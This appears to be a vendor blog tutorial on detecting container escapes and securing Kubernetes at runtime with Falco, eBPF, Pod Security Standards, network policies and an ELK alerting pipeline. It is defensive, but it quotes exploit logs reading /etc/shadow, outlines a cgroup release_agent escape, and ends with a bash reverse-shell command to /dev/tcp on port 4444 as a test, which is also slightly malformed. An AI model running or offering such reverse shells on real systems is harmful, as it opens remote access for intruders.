Detecting Container Escapes in Real-Time
We recently simulated a container escape using the Leaky Vessels vulnerability (CVE-2024-21626) on a standard Kubernetes cluster. The attack involves a process in a container using a specific /proc/self/fd/ file descriptor to access the host's filesystem. Standard static scanners missed the exploit because the malicious binary was compiled on-the-fly inside the pod. Only runtime monitoring caught the event. We observed the following syscall patterns in our logs:
$ kubectl logs -n falco -l app.kubernetes.io/name=falco
14:22:01.458321901: Critical Sensitive file opened for reading by untrusted program (user=root user_loginuid=-1 program=exploit command=exploit /proc/self/fd/7/etc/shadow) 14:22:01.458321901: Notice Unexpected connection to remote host (command=exploit connection=192.168.1.50:4444)
Kubernetes runtime security is the practice of monitoring and protecting active workloads against threats that bypass build-time checks. While image scanning (Trivy, Snyk) and admission controllers (Kyverno, OPA) prevent known vulnerabilities from entering the cluster, they cannot stop zero-day exploits or compromised credentials used during execution. Runtime security focuses on the behavior of the process, the filesystem, and the network stack after the container has started.
Defining Runtime Security in a Cloud-Native Ecosystem
In a cloud-native environment, security moves from perimeter-based defense to granular, behavioral-based monitoring. We define runtime security as the continuous observation of system calls (syscalls) made by a container to the host kernel. Every action a container takes—opening a file, establishing a TCP connection, or spawning a shell—requires a syscall. By intercepting these calls, we create a baseline of "normal" behavior and alert on deviations, similar to how we approach detecting HTTP desync attacks in web traffic.
Our testing shows that traditional EDR (Endpoint Detection and Response) tools often struggle with the high churn rate of Kubernetes pods. A runtime security solution must be "container-aware," meaning it understands pod metadata, namespaces, and labels. Without this context, a security alert saying "Process 'sh' started on Node 4" is useless. We need to know which pod, which deployment, and which namespace triggered the alert to respond effectively.
Why Runtime Protection is the Final Frontier of K8s Security
The Kubernetes control plane is often well-guarded, but the data plane—where the actual containers run—is where the impact occurs. Once an attacker gains execution inside a container, their next move is lateral movement or privilege escalation. Runtime protection acts as the last line of defense. If a developer accidentally leaves a shell open in a production container, runtime monitoring is the only mechanism that will flag an interactive session being established. To mitigate these risks, organizations should implement a browser based SSH client that enforces zero-trust principles for all administrative access.
We have observed that many Indian fintech firms, operating under strict RBI guidelines and the DPDP Act 2023, prioritize runtime security to meet "continuous monitoring" requirements. Section 8(5) of the DPDP Act mandates technical safeguards to prevent data breaches. In a Kubernetes context, this translates to real-time alerting on unauthorized data access from within a microservice. If a pod suddenly starts reading /etc/shadow or scanning the internal network, the runtime security layer must intercept it.
Understanding Kubernetes Container Runtime Security
The Container Runtime Interface (CRI) is the plugin interface which enables the kubelet to use different container runtimes. Whether you use containerd or CRI-O, the runtime is responsible for managing the lifecycle of containers. This layer is a high-value target for attackers. If the runtime itself is compromised, every container on that node is at risk.
Securing the Container Runtime Interface (CRI)
The CRI communicates via Unix domain sockets. By default, these sockets are located at /run/containerd/containerd.sock or /var/run/crio/crio.sock. We have seen configurations where these sockets are inadvertently mounted into containers for "monitoring" purposes. This is a critical failure. An attacker with access to the CRI socket can issue commands to the runtime to start new privileged containers or kill existing ones.
# Checking for insecure socket mounts in a running pod
$ kubectl get pods -o jsonpath='{.items[].spec.containers[].volumeMounts[*].mountPath}' | grep ".sock"
We recommend using SELinux or AppArmor profiles to restrict access to these sockets. Even if a container is running as root, a properly configured SELinux policy can prevent the process from interacting with the CRI socket. In our hardened clusters, we use the runtime/default seccomp profile, which restricts over 300 syscalls that are rarely needed by standard applications.
Common Vulnerabilities in Container Runtimes
Vulnerabilities like CVE-2022-0492, as documented in the NIST NVD, demonstrate how cgroups v1 can be exploited for container escapes. The exploit relies on the release_agent file in a cgroup. If a container can mount a cgroupfs, it can write a path to a script that the host kernel will execute with root privileges. Falco detects this by monitoring mount syscalls targeting cgroup filesystems from within a container.
Another area of concern is the runc binary. As the underlying executor for most runtimes, runc has had several high-severity vulnerabilities. We mitigate these risks by keeping the host OS updated and using "kata-containers" or "gVisor" for high-risk workloads. These runtimes provide a second layer of isolation by using a sandboxed kernel or a micro-VM, though they introduce a performance overhead of roughly 10-15% in our benchmarks.
Isolating Workloads to Prevent Container Breakouts
Isolation is not just about the runtime; it is about the node configuration. We use sysctl parameters to harden the kernel against common breakout techniques. For example, disabling unprivileged user namespaces can prevent a class of exploits that allow users to gain CAP_SYS_ADMIN capabilities. We apply these settings via a DaemonSet that runs on every node during the provisioning phase.
# Example sysctl hardening via a privileged init container
apiVersion: apps/v1 kind: DaemonSet metadata: name: node-hardener spec: template: spec: initContainers: - name: sysctl-setter image: busybox securityContext: privileged: true command: ['sh', '-c', 'sysctl -w kernel.unprivileged_userns_clone=0']
Implementing Robust Kubernetes Security Policies
The transition from Pod Security Policies (PSP) to Pod Security Standards (PSS) in Kubernetes 1.25+ changed how we enforce runtime constraints. PSPs were complex and often led to cluster instability. PSS simplifies this by defining three levels: Privileged, Baseline, and Restricted. We enforce these at the namespace level using the built-in Admission Controller, preventing common injection and access control flaws highlighted in the OWASP Top 10.
Transitioning from PSP to Pod Security Standards (PSS)
We implement PSS by labeling namespaces. For production workloads, we strictly use the restricted profile. This profile requires containers to run as a non-root user, prevents privilege escalation, and mandates the use of a seccomp profile. If a deployment does not meet these criteria, the API server rejects it before the pod is even scheduled.
# Enforcing the restricted profile on the 'production' namespace
$ kubectl label --overwrite ns production \ pod-security.kubernetes.io/enforce=restricted \ pod-security.kubernetes.io/enforce-version=v1.28
When migrating older workloads, we use the audit mode first. This allows us to identify non-compliant pods in the logs without breaking the application. We then work with the development teams to update their Dockerfiles and deployment manifests, specifically adding securityContext blocks that define runAsNonRoot: true and allowPrivilegeEscalation: false.
Enforcing Runtime Constraints with Admission Controllers
While PSS covers the basics, we use Kyverno or OPA Gatekeeper for complex business logic. For example, we might want to ensure that images are only pulled from our private Azure Container Registry (ACR) located in the Central India region. This prevents "shadow IT" where developers might pull unvetted images from public repositories. An admission controller can inspect the image field of every pod and block anything that doesn't match our internal registry URL.
In our experience, combining PSS for standard hardening and Kyverno for custom policy enforcement provides the most balanced security posture. We also use admission controllers to automatically inject sidecars or environment variables required for our monitoring stack, ensuring that security is "baked in" and not an afterthought for the dev teams.
Using Network Policies to Restrict Lateral Movement
A container breakout is significantly more dangerous if the attacker can reach the kube-apiserver or other sensitive microservices. By default, Kubernetes allows all-to-all communication. We implement a "Default Deny" network policy in every namespace. We then explicitly allow traffic only between services that need to communicate.
# Default Deny all ingress and egress traffic
apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-all namespace: secure-app spec: podSelector: {} policyTypes: - Ingress - Egress
For Indian enterprises using hybrid clouds, we often see a need to restrict egress traffic to specific on-premise IP ranges (e.g., for connecting to a local Oracle DB in a Mumbai data center). Network policies allow us to restrict egress to specific CIDR blocks, preventing data exfiltration to unauthorized external IPs. We verify these policies using tools like cyclonus to ensure there are no unintended "allow" rules.
Top Kubernetes Runtime Security Tools
The landscape of runtime security is dominated by eBPF (Extended Berkeley Packet Filter). eBPF allows us to run sandboxed programs in the Linux kernel without changing kernel source code or loading kernel modules. This is critical for Kubernetes because it provides deep visibility into syscalls with minimal performance impact.
Open-Source Threat Detection: Falco and Tetragon
Falco is the de facto standard for runtime security. It uses a set of rules to detect anomalous activity. For example, a rule might trigger if a process inside a container attempts to modify a file in /etc/. Tetragon, from the Cilium project, takes this a step further by providing not just detection, but also enforcement. Tetragon can kill a process the moment it attempts an unauthorized action, rather than just logging it.
We prefer Falco for its mature ecosystem and extensive rule library. The Falco community maintains rules for common threats like crypto-mining, reverse shells, and credential theft from the metadata service (IMDS). In our testing, Falco’s eBPF driver was more stable across different kernel versions (4.15 to 6.x) compared to its legacy kernel module driver.
Comparing eBPF-based Monitoring vs. Sidecar Approaches
Early security tools used the "Sidecar" pattern, where a security container ran alongside the application container in the same pod. This approach has significant flaws. If an attacker gains root access in the pod, they can often disable the security sidecar. Furthermore, sidecars add overhead to every single pod, consuming CPU and memory resources.
eBPF-based tools like Falco run at the host level (typically as a DaemonSet). They monitor the kernel that all containers share. This makes them much harder to bypass. Even if a container is compromised, the eBPF program running in the kernel remains invisible and untouchable by the containerized process. This "out-of-band" monitoring is a core requirement for any serious runtime security strategy.
Implementing the Falco-ELK Monitoring Pipeline
To build a production-grade monitoring pipeline, we need to move alerts out of the cluster and into a centralized logging system. We use ELK (Elasticsearch, Logstash, Kibana) because of its powerful filtering and visualization capabilities, which are essential for any modern SIEM solution. The integration relies on falcosidekick, a companion tool that forwards Falco alerts to various outputs.
Step 1: Installing Falco with eBPF and Sidekick
We use Helm to deploy Falco. We specify the ebpf driver to avoid kernel header issues. We also enable falcosidekick and point its webhook output to our Logstash service. In a typical Indian SME environment using older RHEL kernels, the eBPF driver is the only reliable way to ensure the security agent doesn't crash the node.
# Deploying Falco with Helm
$ helm repo add falcosecurity https://falcosecurity.github.io/charts $ helm repo update $ helm install falco falcosecurity/falco \ --namespace falco \ --create-namespace \ --set driver.kind=ebpf \ --set falcosidekick.enabled=true \ --set falcosidekick.config.webhook.address=http://logstash.monitoring.svc.cluster.local:8080
After installation, we verify that the Falco pods are running and the eBPF probes are successfully loaded. We use kubectl logs to check for any "Driver initialization" errors. If the driver fails to load, Falco will fall back to the kernel module, which might not be installed on your nodes.
Step 2: Configuring Logstash for Falco Alerts
Logstash acts as the intermediary. It receives the JSON payload from Falco, parses it, and enriches it with additional tags. We use the following configuration to filter for high-priority alerts (Notice, Warning, Critical) and route them to a specific Elasticsearch index. This helps in managing storage costs by only indexing actionable security events.
# Logstash Configuration (logstash.conf)input { http { port => 8080 codec => json } }
filter { # Only tag alerts that require immediate attention if [priority] in ["Notice", "Warning", "Critical", "Emergency"] { mutate { add_tag => [ "falco_alert" ] } } }
output { elasticsearch { hosts => ["http://elasticsearch-master:9200"] index => "falco-alerts-%{+YYYY.MM.dd}" user => "${ELASTIC_USER}" password => "${ELASTIC_PASSWORD}" } }
We recommend securing the Logstash endpoint with TLS, especially if it is exposed over a network. We generate a certificate and configure the http input to use it. In a multi-tenant cluster, this prevents a malicious pod from flooding your Logstash with fake alerts to mask a real attack.
Step 3: Creating an Alerting Dashboard in Kibana
Once the data is in Elasticsearch, we build Kibana dashboards to visualize the attack surface. We track metrics such as "Top Alerting Pods," "Most Frequent Syscalls," and "Alert Distribution by Namespace." This visualization is crucial for identifying noisy rules that need tuning. For example, if a legitimate backup script is triggering "Sensitive file opened for reading," we add an exception to the Falco rule for that specific service account.
For compliance with the DPDP Act, we also set up an automated report that exports these alerts daily. This provides the "verifiable logs" required by auditors. In the event of a breach, having a timestamped, tamper-proof record of every suspicious syscall is the difference between a minor incident and a massive regulatory fine (which can go up to ₹250 Crore under the DPDP Act).
Kubernetes Security Best Practices for Runtime
Tools are only effective if the underlying infrastructure is hardened. We follow the Principle of Least Privilege (PoLP) across all layers of the stack. This starts with RBAC (Role-Based Access Control) and extends to the host filesystem.
Implementing PoLP via RBAC
We often find service accounts with cluster-admin privileges assigned to applications. This is a massive risk. If the application is compromised, the attacker has full control over the cluster. We use the audit2rbac tool to analyze the actual API calls an application makes and generate a minimal RBAC policy. We also disable the auto-mounting of service account tokens for pods that do not need to talk to the API server.
# Disabling service account token automount
apiVersion: v1 kind: ServiceAccount metadata: name: restricted-sa automountServiceAccountToken: false
Hardening Nodes and Host Operating Systems
The host OS should be a "container-optimized" distribution like Flatcar Linux or AWS Bottlerocket. These OSs have a read-only root filesystem and do not include package managers like apt or yum, reducing the tools available to an attacker. If you must use a general-purpose OS like Ubuntu or RHEL, ensure that the CIS Kubernetes Benchmark is applied. We use kube-bench to automate this check.
# Running a CIS benchmark check on a node
$ docker run --pid=host -v /etc:/etc:ro -v /var:/var:ro \ aquasec/kube-bench:latest run --targets node
Real-time Log Auditing and Incident Response
Incident response in Kubernetes must be automated. When Falco detects a high-severity event, we use a "Response Engine" (like Falco Talon or a custom K8s operator) to take immediate action. This could include cordoning the node, deleting the pod, or capturing a forensic snapshot of the container's memory. Manual intervention is too slow for modern automated exploits.
We also integrate Falco with Slack or PagerDuty. In the Indian context, where security teams are often lean, getting a direct alert on a mobile device for a "Shell spawned in container" event ensures that the 6-hour reporting window mandated by CERT-In can be met. Without real-time alerting, you might not even know a breach occurred until days later.
Using Read-Only Root Filesystems
One of the most effective ways to prevent malware injection is to make the container's root filesystem read-only. Most exploits involve downloading a script to /tmp or /home and executing it. By setting readOnlyRootFilesystem: true in the securityContext, we break these exploits. Any attempt to write to the filesystem will result in an "Operation not permitted" error, which Falco will then log.
# Enforcing a read-only root filesystem
securityContext: readOnlyRootFilesystem: true runAsNonRoot: true runAsUser: 1000
If the application needs to write logs or temporary data, we use emptyDir volumes. These are ephemeral and isolated from the host filesystem. This approach significantly raises the bar for attackers, forcing them to use memory-only exploits which are much harder to execute and easier to detect via eBPF monitoring of memory allocations.
Conclusion: Building a Proactive Runtime Defense
The future of Kubernetes runtime security lies in the convergence of observability and security. As eBPF continues to evolve, we expect to see even deeper integration between the network layer (Cilium) and the runtime layer (Falco). This will allow for "identity-aware" security, where policies are enforced based on the cryptographic identity of the service, not just its IP address.
For DevSecOps teams, the takeaway is clear: stop relying solely on build-time scans. The runtime is where the actual risk lives. For those looking to advance their skills in cloud-native defense, our Academy offers specialized training in Kubernetes security. By implementing a pipeline that combines eBPF-based detection with centralized logging and automated response, you create a resilient environment capable of withstanding modern, sophisticated attacks. Start by deploying Falco in "audit" mode, identify your baseline, and gradually move towards automated enforcement.
To verify your setup, try running a simple reverse shell in a test pod and watch if your ELK dashboard picks it up:
$ kubectl exec -it <pod_name> -- bash -i >& /dev/tcp/<your_ip>/4444 0>&1